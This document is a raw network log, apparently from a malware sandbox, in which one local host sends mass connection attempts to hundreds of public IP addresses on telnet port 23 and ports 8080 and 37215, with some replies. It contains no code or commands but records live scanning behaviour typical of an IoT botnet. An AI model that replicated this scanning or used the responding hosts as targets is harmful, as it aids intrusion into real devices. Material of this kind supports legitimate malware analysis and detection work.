Nov 23, 2023 05:14:48.620735884 CET	54202	8080	192.168.2.13	95.90.136.30
Nov 23, 2023 05:14:48.620738029 CET	54202	8080	192.168.2.13	31.46.183.251
Nov 23, 2023 05:14:48.620757103 CET	54202	8080	192.168.2.13	62.199.16.15
Nov 23, 2023 05:14:48.620757103 CET	54202	8080	192.168.2.13	94.125.187.181
Nov 23, 2023 05:14:48.620769978 CET	54202	8080	192.168.2.13	85.81.180.47
Nov 23, 2023 05:14:48.620771885 CET	54202	8080	192.168.2.13	31.47.243.41
Nov 23, 2023 05:14:48.620774031 CET	54202	8080	192.168.2.13	31.166.80.15
Nov 23, 2023 05:14:48.620790958 CET	54202	8080	192.168.2.13	95.219.26.3
Nov 23, 2023 05:14:48.620790958 CET	54202	8080	192.168.2.13	62.122.51.134
Nov 23, 2023 05:14:48.620791912 CET	54202	8080	192.168.2.13	31.245.112.49
Nov 23, 2023 05:14:48.620791912 CET	54202	8080	192.168.2.13	62.241.34.154
Nov 23, 2023 05:14:48.620791912 CET	54202	8080	192.168.2.13	94.22.29.122
Nov 23, 2023 05:14:48.620790958 CET	54202	8080	192.168.2.13	62.43.221.95
Nov 23, 2023 05:14:48.620790958 CET	54202	8080	192.168.2.13	85.209.156.32
Nov 23, 2023 05:14:48.620806932 CET	54202	8080	192.168.2.13	31.167.117.213
Nov 23, 2023 05:14:48.620810032 CET	54202	8080	192.168.2.13	94.251.225.18
Nov 23, 2023 05:14:48.620822906 CET	54202	8080	192.168.2.13	85.103.88.105
Nov 23, 2023 05:14:48.620822906 CET	54202	8080	192.168.2.13	62.254.166.78
Nov 23, 2023 05:14:48.620841026 CET	54202	8080	192.168.2.13	95.98.76.73
Nov 23, 2023 05:14:48.620842934 CET	54202	8080	192.168.2.13	94.244.232.29
Nov 23, 2023 05:14:48.620842934 CET	54202	8080	192.168.2.13	31.74.109.211
Nov 23, 2023 05:14:48.620853901 CET	54202	8080	192.168.2.13	62.113.203.70
Nov 23, 2023 05:14:48.620877028 CET	54202	8080	192.168.2.13	94.205.221.202
Nov 23, 2023 05:14:48.620877028 CET	54202	8080	192.168.2.13	85.254.208.70
Nov 23, 2023 05:14:48.620877981 CET	54202	8080	192.168.2.13	94.103.69.203
Nov 23, 2023 05:14:48.620878935 CET	54202	8080	192.168.2.13	31.186.230.180
Nov 23, 2023 05:14:48.620878935 CET	54202	8080	192.168.2.13	94.184.195.72
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	62.201.242.1
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	31.167.111.89
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	85.10.12.114
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	95.163.175.197
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	62.234.239.178
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	94.112.158.42
Nov 23, 2023 05:14:48.620881081 CET	54202	8080	192.168.2.13	94.145.82.169
Nov 23, 2023 05:14:48.620893002 CET	54202	8080	192.168.2.13	62.166.151.82
Nov 23, 2023 05:14:48.695663929 CET	23	55738	107.90.211.84	192.168.2.13
Nov 23, 2023 05:14:48.720839024 CET	8080	54202	94.131.27.66	192.168.2.13
Nov 23, 2023 05:14:48.802659035 CET	8080	54202	94.130.192.122	192.168.2.13
Nov 23, 2023 05:14:48.811635017 CET	8080	54202	31.136.47.50	192.168.2.13
Nov 23, 2023 05:14:48.811731100 CET	54202	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:48.813060999 CET	23	55738	217.66.105.95	192.168.2.13
Nov 23, 2023 05:14:48.816497087 CET	8080	54202	94.32.158.114	192.168.2.13
Nov 23, 2023 05:14:48.821227074 CET	8080	54202	95.62.241.126	192.168.2.13
Nov 23, 2023 05:14:48.824642897 CET	8080	54202	62.99.157.97	192.168.2.13
Nov 23, 2023 05:14:48.830118895 CET	8080	54202	85.214.71.85	192.168.2.13
Nov 23, 2023 05:14:48.830389977 CET	8080	54202	62.92.76.129	192.168.2.13
Nov 23, 2023 05:14:48.832217932 CET	8080	54202	62.141.126.93	192.168.2.13
Nov 23, 2023 05:14:48.832372904 CET	8080	54202	95.197.8.215	192.168.2.13
Nov 23, 2023 05:14:48.834892988 CET	8080	54202	85.23.81.202	192.168.2.13
Nov 23, 2023 05:14:48.835810900 CET	37215	54970	197.9.157.243	192.168.2.13
Nov 23, 2023 05:14:48.841490030 CET	8080	54202	95.73.90.235	192.168.2.13
Nov 23, 2023 05:14:48.844561100 CET	8080	54202	95.220.95.99	192.168.2.13
Nov 23, 2023 05:14:48.849291086 CET	23	55738	116.67.155.161	192.168.2.13
Nov 23, 2023 05:14:48.857656956 CET	8080	54202	94.180.245.30	192.168.2.13
Nov 23, 2023 05:14:48.862422943 CET	8080	54202	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:48.862565041 CET	54202	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:48.867388964 CET	8080	54202	94.41.124.225	192.168.2.13
Nov 23, 2023 05:14:48.868246078 CET	8080	54202	95.133.234.236	192.168.2.13
Nov 23, 2023 05:14:48.885740042 CET	23	55738	211.107.63.46	192.168.2.13
Nov 23, 2023 05:14:48.917171001 CET	37215	54970	41.84.151.7	192.168.2.13
Nov 23, 2023 05:14:48.920116901 CET	23	55738	163.49.121.107	192.168.2.13
Nov 23, 2023 05:14:48.988276958 CET	23	55738	39.86.159.135	192.168.2.13
Nov 23, 2023 05:14:49.130279064 CET	8080	54202	95.196.28.47	192.168.2.13
Nov 23, 2023 05:14:49.130290031 CET	8080	54202	95.196.28.47	192.168.2.13
Nov 23, 2023 05:14:49.130723000 CET	54202	8080	192.168.2.13	95.196.28.47
Nov 23, 2023 05:14:49.595036030 CET	55738	23	192.168.2.13	148.248.188.25
Nov 23, 2023 05:14:49.595036983 CET	55738	23	192.168.2.13	140.221.128.63
Nov 23, 2023 05:14:49.595040083 CET	55738	23	192.168.2.13	1.36.37.60
Nov 23, 2023 05:14:49.595041990 CET	55738	23	192.168.2.13	177.220.76.181
Nov 23, 2023 05:14:49.595041037 CET	55738	23	192.168.2.13	121.102.67.200
Nov 23, 2023 05:14:49.595041990 CET	55738	23	192.168.2.13	35.211.135.212
Nov 23, 2023 05:14:49.595041990 CET	55738	23	192.168.2.13	255.154.193.133
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	211.3.20.82
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	176.152.8.140
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	145.178.250.95
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	153.55.126.49
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	109.154.183.12
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	115.27.225.132
Nov 23, 2023 05:14:49.595082998 CET	55738	23	192.168.2.13	190.129.239.100
Nov 23, 2023 05:14:49.595082045 CET	55738	23	192.168.2.13	116.59.201.44
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	94.73.160.37
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	117.46.197.162
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	84.198.82.177
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	116.33.164.134
Nov 23, 2023 05:14:49.595082998 CET	55738	23	192.168.2.13	152.236.246.203
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	178.15.71.141
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	251.47.143.209
Nov 23, 2023 05:14:49.595082998 CET	55738	23	192.168.2.13	255.201.115.14
Nov 23, 2023 05:14:49.595083952 CET	55738	23	192.168.2.13	147.0.176.236
Nov 23, 2023 05:14:49.595082045 CET	55738	23	192.168.2.13	209.192.102.232
Nov 23, 2023 05:14:49.595081091 CET	55738	23	192.168.2.13	219.231.161.176
Nov 23, 2023 05:14:49.595082045 CET	55738	23	192.168.2.13	67.219.248.114
Nov 23, 2023 05:14:49.595103025 CET	55738	23	192.168.2.13	75.254.0.39
Nov 23, 2023 05:14:49.595105886 CET	55738	23	192.168.2.13	198.177.244.51
Nov 23, 2023 05:14:49.595108032 CET	55738	23	192.168.2.13	162.188.62.180
Nov 23, 2023 05:14:49.595108032 CET	55738	23	192.168.2.13	182.59.29.48
Nov 23, 2023 05:14:49.595108032 CET	55738	23	192.168.2.13	40.40.106.151
Nov 23, 2023 05:14:49.595119953 CET	55738	23	192.168.2.13	66.181.136.171
Nov 23, 2023 05:14:49.595119953 CET	55738	23	192.168.2.13	186.118.240.160
Nov 23, 2023 05:14:49.595119953 CET	55738	23	192.168.2.13	61.127.230.230
Nov 23, 2023 05:14:49.595122099 CET	55738	23	192.168.2.13	249.245.40.173
Nov 23, 2023 05:14:49.595132113 CET	55738	23	192.168.2.13	200.141.146.218
Nov 23, 2023 05:14:49.595139980 CET	55738	23	192.168.2.13	45.240.251.194
Nov 23, 2023 05:14:49.595139980 CET	55738	23	192.168.2.13	149.78.134.52
Nov 23, 2023 05:14:49.595139980 CET	55738	23	192.168.2.13	61.38.147.239
Nov 23, 2023 05:14:49.595139980 CET	55738	23	192.168.2.13	177.83.21.254
Nov 23, 2023 05:14:49.595139980 CET	55738	23	192.168.2.13	115.116.217.93
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	48.167.172.214
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	142.238.90.66
Nov 23, 2023 05:14:49.595143080 CET	55738	23	192.168.2.13	37.186.19.0
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	196.180.37.91
Nov 23, 2023 05:14:49.595143080 CET	55738	23	192.168.2.13	115.99.70.177
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	218.235.80.34
Nov 23, 2023 05:14:49.595143080 CET	55738	23	192.168.2.13	78.125.234.126
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	1.108.248.163
Nov 23, 2023 05:14:49.595144033 CET	55738	23	192.168.2.13	221.253.32.9
Nov 23, 2023 05:14:49.595148087 CET	55738	23	192.168.2.13	175.136.169.129
Nov 23, 2023 05:14:49.595141888 CET	55738	23	192.168.2.13	84.6.139.206
Nov 23, 2023 05:14:49.595143080 CET	55738	23	192.168.2.13	98.30.138.79
Nov 23, 2023 05:14:49.595149040 CET	55738	23	192.168.2.13	58.147.177.111
Nov 23, 2023 05:14:49.595143080 CET	55738	23	192.168.2.13	41.145.85.176
Nov 23, 2023 05:14:49.595149040 CET	55738	23	192.168.2.13	113.193.90.204
Nov 23, 2023 05:14:49.595149994 CET	55738	23	192.168.2.13	99.34.44.154
Nov 23, 2023 05:14:49.595149994 CET	55738	23	192.168.2.13	41.127.31.196
Nov 23, 2023 05:14:49.595149994 CET	55738	23	192.168.2.13	5.187.1.197
Nov 23, 2023 05:14:49.595149994 CET	55738	23	192.168.2.13	75.235.227.80
Nov 23, 2023 05:14:49.595149994 CET	55738	23	192.168.2.13	78.157.20.46
Nov 23, 2023 05:14:49.595158100 CET	55738	23	192.168.2.13	72.165.22.116
Nov 23, 2023 05:14:49.595159054 CET	55738	23	192.168.2.13	165.62.249.194
Nov 23, 2023 05:14:49.595171928 CET	55738	23	192.168.2.13	77.175.152.85
Nov 23, 2023 05:14:49.595172882 CET	55738	23	192.168.2.13	203.148.45.48
Nov 23, 2023 05:14:49.595175982 CET	55738	23	192.168.2.13	40.180.32.156
Nov 23, 2023 05:14:49.595179081 CET	55738	23	192.168.2.13	53.196.171.179
Nov 23, 2023 05:14:49.595179081 CET	55738	23	192.168.2.13	207.38.92.129
Nov 23, 2023 05:14:49.595191956 CET	55738	23	192.168.2.13	205.129.6.102
Nov 23, 2023 05:14:49.595192909 CET	55738	23	192.168.2.13	38.129.61.170
Nov 23, 2023 05:14:49.595196962 CET	55738	23	192.168.2.13	60.8.176.106
Nov 23, 2023 05:14:49.595202923 CET	55738	23	192.168.2.13	5.65.65.122
Nov 23, 2023 05:14:49.595202923 CET	55738	23	192.168.2.13	163.190.20.75
Nov 23, 2023 05:14:49.595211029 CET	55738	23	192.168.2.13	198.0.99.121
Nov 23, 2023 05:14:49.595216036 CET	55738	23	192.168.2.13	48.8.226.171
Nov 23, 2023 05:14:49.595227003 CET	55738	23	192.168.2.13	192.232.229.150
Nov 23, 2023 05:14:49.595230103 CET	55738	23	192.168.2.13	189.237.150.61
Nov 23, 2023 05:14:49.595230103 CET	55738	23	192.168.2.13	184.126.100.79
Nov 23, 2023 05:14:49.595241070 CET	55738	23	192.168.2.13	75.171.73.3
Nov 23, 2023 05:14:49.595241070 CET	55738	23	192.168.2.13	80.209.13.6
Nov 23, 2023 05:14:49.595257998 CET	55738	23	192.168.2.13	32.236.99.97
Nov 23, 2023 05:14:49.595267057 CET	55738	23	192.168.2.13	191.112.222.36
Nov 23, 2023 05:14:49.595267057 CET	55738	23	192.168.2.13	175.207.32.63
Nov 23, 2023 05:14:49.595285892 CET	55738	23	192.168.2.13	82.178.41.35
Nov 23, 2023 05:14:49.595289946 CET	55738	23	192.168.2.13	212.138.52.169
Nov 23, 2023 05:14:49.595290899 CET	55738	23	192.168.2.13	39.206.224.186
Nov 23, 2023 05:14:49.595293999 CET	55738	23	192.168.2.13	108.81.135.247
Nov 23, 2023 05:14:49.595295906 CET	55738	23	192.168.2.13	95.98.96.218
Nov 23, 2023 05:14:49.595295906 CET	55738	23	192.168.2.13	69.216.128.99
Nov 23, 2023 05:14:49.595295906 CET	55738	23	192.168.2.13	164.134.85.168
Nov 23, 2023 05:14:49.595307112 CET	55738	23	192.168.2.13	54.29.227.27
Nov 23, 2023 05:14:49.595313072 CET	55738	23	192.168.2.13	171.22.53.167
Nov 23, 2023 05:14:49.595314026 CET	55738	23	192.168.2.13	9.83.27.63
Nov 23, 2023 05:14:49.595338106 CET	55738	23	192.168.2.13	155.197.61.137
Nov 23, 2023 05:14:49.595338106 CET	55738	23	192.168.2.13	96.82.8.45
Nov 23, 2023 05:14:49.595345020 CET	55738	23	192.168.2.13	218.104.7.92
Nov 23, 2023 05:14:49.595354080 CET	55738	23	192.168.2.13	117.104.184.141
Nov 23, 2023 05:14:49.595357895 CET	55738	23	192.168.2.13	70.126.101.221
Nov 23, 2023 05:14:49.595370054 CET	55738	23	192.168.2.13	107.68.2.36
Nov 23, 2023 05:14:49.595374107 CET	55738	23	192.168.2.13	220.198.154.169
Nov 23, 2023 05:14:49.595387936 CET	55738	23	192.168.2.13	216.80.84.149
Nov 23, 2023 05:14:49.595387936 CET	55738	23	192.168.2.13	47.64.20.23
Nov 23, 2023 05:14:49.595400095 CET	55738	23	192.168.2.13	8.34.236.237
Nov 23, 2023 05:14:49.595405102 CET	55738	23	192.168.2.13	165.22.38.240
Nov 23, 2023 05:14:49.595407963 CET	55738	23	192.168.2.13	250.59.129.225
Nov 23, 2023 05:14:49.595407963 CET	55738	23	192.168.2.13	205.165.184.85
Nov 23, 2023 05:14:49.595413923 CET	55738	23	192.168.2.13	32.100.94.93
Nov 23, 2023 05:14:49.595427036 CET	55738	23	192.168.2.13	9.43.142.243
Nov 23, 2023 05:14:49.595428944 CET	55738	23	192.168.2.13	180.2.145.181
Nov 23, 2023 05:14:49.595443964 CET	55738	23	192.168.2.13	103.185.226.135
Nov 23, 2023 05:14:49.595444918 CET	55738	23	192.168.2.13	77.54.231.125
Nov 23, 2023 05:14:49.595444918 CET	55738	23	192.168.2.13	180.1.87.55
Nov 23, 2023 05:14:49.595457077 CET	55738	23	192.168.2.13	111.190.85.251
Nov 23, 2023 05:14:49.595463991 CET	55738	23	192.168.2.13	125.36.234.14
Nov 23, 2023 05:14:49.595472097 CET	55738	23	192.168.2.13	9.162.75.152
Nov 23, 2023 05:14:49.595479012 CET	55738	23	192.168.2.13	94.234.9.109
Nov 23, 2023 05:14:49.595479012 CET	55738	23	192.168.2.13	167.90.231.184
Nov 23, 2023 05:14:49.595494986 CET	55738	23	192.168.2.13	142.158.74.144
Nov 23, 2023 05:14:49.595495939 CET	55738	23	192.168.2.13	43.175.61.226
Nov 23, 2023 05:14:49.595499992 CET	55738	23	192.168.2.13	86.199.127.118
Nov 23, 2023 05:14:49.595499992 CET	55738	23	192.168.2.13	18.249.69.85
Nov 23, 2023 05:14:49.595500946 CET	55738	23	192.168.2.13	166.231.24.67
Nov 23, 2023 05:14:49.595516920 CET	55738	23	192.168.2.13	110.61.197.17
Nov 23, 2023 05:14:49.595519066 CET	55738	23	192.168.2.13	205.244.201.53
Nov 23, 2023 05:14:49.595520020 CET	55738	23	192.168.2.13	109.202.4.190
Nov 23, 2023 05:14:49.595520020 CET	55738	23	192.168.2.13	210.192.117.82
Nov 23, 2023 05:14:49.595524073 CET	55738	23	192.168.2.13	124.85.179.240
Nov 23, 2023 05:14:49.595525980 CET	55738	23	192.168.2.13	124.118.223.65
Nov 23, 2023 05:14:49.595545053 CET	55738	23	192.168.2.13	117.58.173.66
Nov 23, 2023 05:14:49.595551014 CET	55738	23	192.168.2.13	103.34.164.199
Nov 23, 2023 05:14:49.595552921 CET	55738	23	192.168.2.13	155.18.80.202
Nov 23, 2023 05:14:49.595571995 CET	55738	23	192.168.2.13	43.180.18.189
Nov 23, 2023 05:14:49.595572948 CET	55738	23	192.168.2.13	255.182.69.57
Nov 23, 2023 05:14:49.595577002 CET	55738	23	192.168.2.13	23.16.156.214
Nov 23, 2023 05:14:49.595581055 CET	55738	23	192.168.2.13	96.37.103.251
Nov 23, 2023 05:14:49.595597982 CET	55738	23	192.168.2.13	220.191.157.39
Nov 23, 2023 05:14:49.595602036 CET	55738	23	192.168.2.13	205.0.144.253
Nov 23, 2023 05:14:49.595607042 CET	55738	23	192.168.2.13	176.3.215.150
Nov 23, 2023 05:14:49.595619917 CET	55738	23	192.168.2.13	152.243.118.232
Nov 23, 2023 05:14:49.595621109 CET	55738	23	192.168.2.13	186.91.236.73
Nov 23, 2023 05:14:49.595624924 CET	55738	23	192.168.2.13	13.92.59.107
Nov 23, 2023 05:14:49.595628023 CET	55738	23	192.168.2.13	160.13.146.228
Nov 23, 2023 05:14:49.595640898 CET	55738	23	192.168.2.13	150.83.100.26
Nov 23, 2023 05:14:49.595640898 CET	55738	23	192.168.2.13	37.178.200.53
Nov 23, 2023 05:14:49.595640898 CET	55738	23	192.168.2.13	125.121.63.252
Nov 23, 2023 05:14:49.595662117 CET	55738	23	192.168.2.13	193.35.156.86
Nov 23, 2023 05:14:49.595663071 CET	55738	23	192.168.2.13	36.223.80.25
Nov 23, 2023 05:14:49.595673084 CET	55738	23	192.168.2.13	18.55.34.187
Nov 23, 2023 05:14:49.595674038 CET	55738	23	192.168.2.13	168.101.210.161
Nov 23, 2023 05:14:49.595689058 CET	55738	23	192.168.2.13	123.64.44.124
Nov 23, 2023 05:14:49.595690966 CET	55738	23	192.168.2.13	156.75.91.140
Nov 23, 2023 05:14:49.595690966 CET	55738	23	192.168.2.13	74.77.252.87
Nov 23, 2023 05:14:49.595698118 CET	55738	23	192.168.2.13	144.78.62.101
Nov 23, 2023 05:14:49.595699072 CET	55738	23	192.168.2.13	42.183.200.212
Nov 23, 2023 05:14:49.595700026 CET	55738	23	192.168.2.13	35.235.27.242
Nov 23, 2023 05:14:49.595700026 CET	55738	23	192.168.2.13	158.158.207.199
Nov 23, 2023 05:14:49.595720053 CET	55738	23	192.168.2.13	243.150.211.87
Nov 23, 2023 05:14:49.595720053 CET	55738	23	192.168.2.13	153.43.215.135
Nov 23, 2023 05:14:49.595722914 CET	55738	23	192.168.2.13	32.201.18.178
Nov 23, 2023 05:14:49.595751047 CET	55738	23	192.168.2.13	153.20.248.78
Nov 23, 2023 05:14:49.595751047 CET	55738	23	192.168.2.13	253.254.91.219
Nov 23, 2023 05:14:49.595756054 CET	55738	23	192.168.2.13	194.33.1.3
Nov 23, 2023 05:14:49.595756054 CET	55738	23	192.168.2.13	154.31.250.220
Nov 23, 2023 05:14:49.595772028 CET	55738	23	192.168.2.13	4.41.189.198
Nov 23, 2023 05:14:49.595776081 CET	55738	23	192.168.2.13	241.46.91.135
Nov 23, 2023 05:14:49.595776081 CET	55738	23	192.168.2.13	202.99.165.160
Nov 23, 2023 05:14:49.595797062 CET	55738	23	192.168.2.13	69.212.174.141
Nov 23, 2023 05:14:49.595798016 CET	55738	23	192.168.2.13	124.254.252.146
Nov 23, 2023 05:14:49.595801115 CET	55738	23	192.168.2.13	106.67.52.216
Nov 23, 2023 05:14:49.595801115 CET	55738	23	192.168.2.13	74.13.39.77
Nov 23, 2023 05:14:49.595801115 CET	55738	23	192.168.2.13	197.30.112.102
Nov 23, 2023 05:14:49.595805883 CET	55738	23	192.168.2.13	143.26.102.45
Nov 23, 2023 05:14:49.595825911 CET	55738	23	192.168.2.13	124.89.120.152
Nov 23, 2023 05:14:49.595828056 CET	55738	23	192.168.2.13	254.111.74.75
Nov 23, 2023 05:14:49.595830917 CET	55738	23	192.168.2.13	42.83.114.217
Nov 23, 2023 05:14:49.595830917 CET	55738	23	192.168.2.13	198.253.45.203
Nov 23, 2023 05:14:49.595832109 CET	55738	23	192.168.2.13	164.92.170.172
Nov 23, 2023 05:14:49.595835924 CET	55738	23	192.168.2.13	195.222.48.168
Nov 23, 2023 05:14:49.595839977 CET	55738	23	192.168.2.13	70.233.219.194
Nov 23, 2023 05:14:49.595845938 CET	55738	23	192.168.2.13	141.101.88.94
Nov 23, 2023 05:14:49.595854044 CET	55738	23	192.168.2.13	119.206.124.18
Nov 23, 2023 05:14:49.595854044 CET	55738	23	192.168.2.13	255.83.132.101
Nov 23, 2023 05:14:49.595865011 CET	55738	23	192.168.2.13	183.196.60.26
Nov 23, 2023 05:14:49.595871925 CET	55738	23	192.168.2.13	38.8.32.31
Nov 23, 2023 05:14:49.595886946 CET	55738	23	192.168.2.13	202.164.89.53
Nov 23, 2023 05:14:49.595890045 CET	55738	23	192.168.2.13	178.25.76.94
Nov 23, 2023 05:14:49.595909119 CET	55738	23	192.168.2.13	113.110.141.153
Nov 23, 2023 05:14:49.595922947 CET	55738	23	192.168.2.13	163.137.202.97
Nov 23, 2023 05:14:49.595930099 CET	55738	23	192.168.2.13	164.238.169.115
Nov 23, 2023 05:14:49.595933914 CET	55738	23	192.168.2.13	58.254.16.144
Nov 23, 2023 05:14:49.595933914 CET	55738	23	192.168.2.13	78.178.203.2
Nov 23, 2023 05:14:49.595943928 CET	55738	23	192.168.2.13	77.45.129.53
Nov 23, 2023 05:14:49.595952988 CET	55738	23	192.168.2.13	150.173.114.216
Nov 23, 2023 05:14:49.595954895 CET	55738	23	192.168.2.13	124.80.98.9
Nov 23, 2023 05:14:49.595963001 CET	55738	23	192.168.2.13	126.247.6.236
Nov 23, 2023 05:14:49.595967054 CET	55738	23	192.168.2.13	223.105.149.139
Nov 23, 2023 05:14:49.595974922 CET	55738	23	192.168.2.13	217.113.114.150
Nov 23, 2023 05:14:49.595976114 CET	55738	23	192.168.2.13	153.46.208.165
Nov 23, 2023 05:14:49.595988035 CET	55738	23	192.168.2.13	138.245.2.110
Nov 23, 2023 05:14:49.595990896 CET	55738	23	192.168.2.13	169.192.212.148
Nov 23, 2023 05:14:49.595999002 CET	55738	23	192.168.2.13	210.223.162.91
Nov 23, 2023 05:14:49.595999002 CET	55738	23	192.168.2.13	199.2.167.125
Nov 23, 2023 05:14:49.596016884 CET	55738	23	192.168.2.13	46.184.202.188
Nov 23, 2023 05:14:49.596016884 CET	55738	23	192.168.2.13	72.200.135.148
Nov 23, 2023 05:14:49.596016884 CET	55738	23	192.168.2.13	88.140.62.81
Nov 23, 2023 05:14:49.596021891 CET	55738	23	192.168.2.13	252.246.165.176
Nov 23, 2023 05:14:49.596025944 CET	55738	23	192.168.2.13	117.132.31.79
Nov 23, 2023 05:14:49.596041918 CET	55738	23	192.168.2.13	130.16.212.159
Nov 23, 2023 05:14:49.596045017 CET	55738	23	192.168.2.13	73.213.42.242
Nov 23, 2023 05:14:49.596048117 CET	55738	23	192.168.2.13	162.106.119.5
Nov 23, 2023 05:14:49.596048117 CET	55738	23	192.168.2.13	75.91.240.206
Nov 23, 2023 05:14:49.596069098 CET	55738	23	192.168.2.13	180.202.100.139
Nov 23, 2023 05:14:49.596070051 CET	55738	23	192.168.2.13	82.19.64.15
Nov 23, 2023 05:14:49.596074104 CET	55738	23	192.168.2.13	102.4.115.83
Nov 23, 2023 05:14:49.596074104 CET	55738	23	192.168.2.13	83.36.97.46
Nov 23, 2023 05:14:49.596074104 CET	55738	23	192.168.2.13	222.120.105.227
Nov 23, 2023 05:14:49.596086979 CET	55738	23	192.168.2.13	122.147.207.35
Nov 23, 2023 05:14:49.596091032 CET	55738	23	192.168.2.13	47.227.118.212
Nov 23, 2023 05:14:49.596092939 CET	55738	23	192.168.2.13	36.150.62.44
Nov 23, 2023 05:14:49.596108913 CET	55738	23	192.168.2.13	125.89.177.243
Nov 23, 2023 05:14:49.596108913 CET	55738	23	192.168.2.13	60.230.149.254
Nov 23, 2023 05:14:49.596112967 CET	55738	23	192.168.2.13	65.73.100.29
Nov 23, 2023 05:14:49.596122980 CET	55738	23	192.168.2.13	160.70.124.109
Nov 23, 2023 05:14:49.596127033 CET	55738	23	192.168.2.13	218.5.96.217
Nov 23, 2023 05:14:49.596131086 CET	55738	23	192.168.2.13	126.115.230.10
Nov 23, 2023 05:14:49.596138954 CET	55738	23	192.168.2.13	84.88.194.246
Nov 23, 2023 05:14:49.596148014 CET	55738	23	192.168.2.13	43.70.59.147
Nov 23, 2023 05:14:49.596163034 CET	55738	23	192.168.2.13	174.189.68.44
Nov 23, 2023 05:14:49.596163034 CET	55738	23	192.168.2.13	190.146.34.19
Nov 23, 2023 05:14:49.596164942 CET	55738	23	192.168.2.13	61.127.201.248
Nov 23, 2023 05:14:49.596164942 CET	55738	23	192.168.2.13	174.114.98.140
Nov 23, 2023 05:14:49.596164942 CET	55738	23	192.168.2.13	87.7.184.53
Nov 23, 2023 05:14:49.596188068 CET	55738	23	192.168.2.13	165.94.200.182
Nov 23, 2023 05:14:49.596189022 CET	55738	23	192.168.2.13	163.10.17.27
Nov 23, 2023 05:14:49.596190929 CET	55738	23	192.168.2.13	208.49.117.54
Nov 23, 2023 05:14:49.596190929 CET	55738	23	192.168.2.13	53.182.9.29
Nov 23, 2023 05:14:49.596203089 CET	55738	23	192.168.2.13	243.148.226.163
Nov 23, 2023 05:14:49.596209049 CET	55738	23	192.168.2.13	171.96.39.138
Nov 23, 2023 05:14:49.596227884 CET	55738	23	192.168.2.13	186.149.202.189
Nov 23, 2023 05:14:49.596230030 CET	55738	23	192.168.2.13	12.84.83.48
Nov 23, 2023 05:14:49.596235037 CET	55738	23	192.168.2.13	120.15.236.199
Nov 23, 2023 05:14:49.596244097 CET	55738	23	192.168.2.13	119.252.0.145
Nov 23, 2023 05:14:49.596244097 CET	55738	23	192.168.2.13	24.243.47.9
Nov 23, 2023 05:14:49.596251011 CET	55738	23	192.168.2.13	90.238.16.109
Nov 23, 2023 05:14:49.596263885 CET	55738	23	192.168.2.13	180.82.110.72
Nov 23, 2023 05:14:49.596272945 CET	55738	23	192.168.2.13	139.191.226.115
Nov 23, 2023 05:14:49.596272945 CET	55738	23	192.168.2.13	128.246.28.161
Nov 23, 2023 05:14:49.596287012 CET	55738	23	192.168.2.13	109.240.150.147
Nov 23, 2023 05:14:49.596293926 CET	55738	23	192.168.2.13	111.99.227.117
Nov 23, 2023 05:14:49.596297979 CET	55738	23	192.168.2.13	123.65.190.65
Nov 23, 2023 05:14:49.596309900 CET	55738	23	192.168.2.13	141.169.25.233
Nov 23, 2023 05:14:49.596309900 CET	55738	23	192.168.2.13	178.58.109.52
Nov 23, 2023 05:14:49.596313000 CET	55738	23	192.168.2.13	88.244.190.237
Nov 23, 2023 05:14:49.596321106 CET	55738	23	192.168.2.13	31.153.208.182
Nov 23, 2023 05:14:49.596333981 CET	55738	23	192.168.2.13	221.180.83.7
Nov 23, 2023 05:14:49.596333981 CET	55738	23	192.168.2.13	202.70.18.131
Nov 23, 2023 05:14:49.596344948 CET	55738	23	192.168.2.13	158.117.136.48
Nov 23, 2023 05:14:49.596347094 CET	55738	23	192.168.2.13	243.206.85.218
Nov 23, 2023 05:14:49.596348047 CET	55738	23	192.168.2.13	243.149.12.215
Nov 23, 2023 05:14:49.596369028 CET	55738	23	192.168.2.13	85.46.161.168
Nov 23, 2023 05:14:49.596369028 CET	55738	23	192.168.2.13	27.96.54.111
Nov 23, 2023 05:14:49.596369982 CET	55738	23	192.168.2.13	148.117.44.102
Nov 23, 2023 05:14:49.596379042 CET	55738	23	192.168.2.13	114.230.100.140
Nov 23, 2023 05:14:49.596394062 CET	55738	23	192.168.2.13	240.158.95.64
Nov 23, 2023 05:14:49.596394062 CET	55738	23	192.168.2.13	188.183.244.111
Nov 23, 2023 05:14:49.596417904 CET	55738	23	192.168.2.13	254.246.72.147
Nov 23, 2023 05:14:49.596419096 CET	55738	23	192.168.2.13	117.199.50.217
Nov 23, 2023 05:14:49.596420050 CET	55738	23	192.168.2.13	92.201.167.192
Nov 23, 2023 05:14:49.596420050 CET	55738	23	192.168.2.13	102.204.122.103
Nov 23, 2023 05:14:49.596440077 CET	55738	23	192.168.2.13	48.221.62.229
Nov 23, 2023 05:14:49.596442938 CET	55738	23	192.168.2.13	135.132.9.133
Nov 23, 2023 05:14:49.596451044 CET	55738	23	192.168.2.13	252.60.188.247
Nov 23, 2023 05:14:49.596452951 CET	55738	23	192.168.2.13	44.75.11.219
